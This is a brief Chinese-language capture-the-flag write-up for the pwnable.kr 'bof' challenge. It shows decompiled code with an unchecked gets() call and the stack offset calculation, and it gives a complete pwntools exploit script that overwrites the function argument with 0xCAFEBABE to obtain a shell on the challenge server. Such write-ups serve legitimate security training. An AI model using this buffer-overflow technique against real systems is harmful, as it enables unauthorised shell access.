pwnable.kr第三题bof

Running at : nc pwnable.kr 9000

IDA查看

 1 unsigned int __cdecl func(int a1)
 2 {
 3   char s; // [esp+1Ch] [ebp-2Ch]
 4   unsigned int v3; // [esp+3Ch] [ebp-Ch]
 5
 6   v3 = __readgsdword(0x14u);
 7   puts("overflow me : ");
 8   gets(&s);//未对输入长度进行限制，存在栈溢出
 9   if ( a1 == 0xCAFEBABE )
10     system("/bin/sh");
11   else
12     puts("Nah..");
13   return __readgsdword(0x14u) ^ v3;
14 }

查看栈，

 1 -0000002C s               db ?
 2 -0000002B                 db ? ; undefined
 3 -0000002A                 db ? ; undefined
 4 -00000029                 db ? ; undefined
 5 -00000028                 db ? ; undefined
 6 -00000027                 db ? ; undefined
 7 -00000026                 db ? ; undefined
 8 -00000025                 db ? ; undefined
 9 -00000024                 db ? ; undefined
10 -00000023                 db ? ; undefined
11 -00000022                 db ? ; undefined
12 -00000021                 db ? ; undefined
13 -00000020                 db ? ; undefined
14 -0000001F                 db ? ; undefined
15 -0000001E                 db ? ; undefined
16 -0000001D                 db ? ; undefined
17 -0000001C                 db ? ; undefined
18 -0000001B                 db ? ; undefined
19 -0000001A                 db ? ; undefined
20 -00000019                 db ? ; undefined
21 -00000018                 db ? ; undefined
22 -00000017                 db ? ; undefined
23 -00000016                 db ? ; undefined
24 -00000015                 db ? ; undefined
25 -00000014                 db ? ; undefined
26 -00000013                 db ? ; undefined
27 -00000012                 db ? ; undefined
28 -00000011                 db ? ; undefined
29 -00000010                 db ? ; undefined
30 -0000000F                 db ? ; undefined
31 -0000000E                 db ? ; undefined
32 -0000000D                 db ? ; undefined
33 -0000000C var_C           dd ?
34 -00000008                 db ? ; undefined
35 -00000007                 db ? ; undefined
36 -00000006                 db ? ; undefined
37 -00000005                 db ? ; undefined
38 -00000004                 db ? ; undefined
39 -00000003                 db ? ; undefined
40 -00000002                 db ? ; undefined
41 -00000001                 db ? ; undefined
42 +00000000  s              db 4 dup(?)
43 +00000004  r              db 4 dup(?)
44 +00000008 arg_0           dd ?
45 +0000000C
46 +0000000C ; end of stack variables

0x2c+8 =0x34=52,来到arg_0的存储空间

exp：

 1 from pwn import *
 2
 3 r = remote('pwnable.kr','9000')
 4
 5 buf = 52 * 'A'
 6 buf += p32(0xcafebabe)
 7
 8 r.sendline(buf)
 9
10 r.interactive()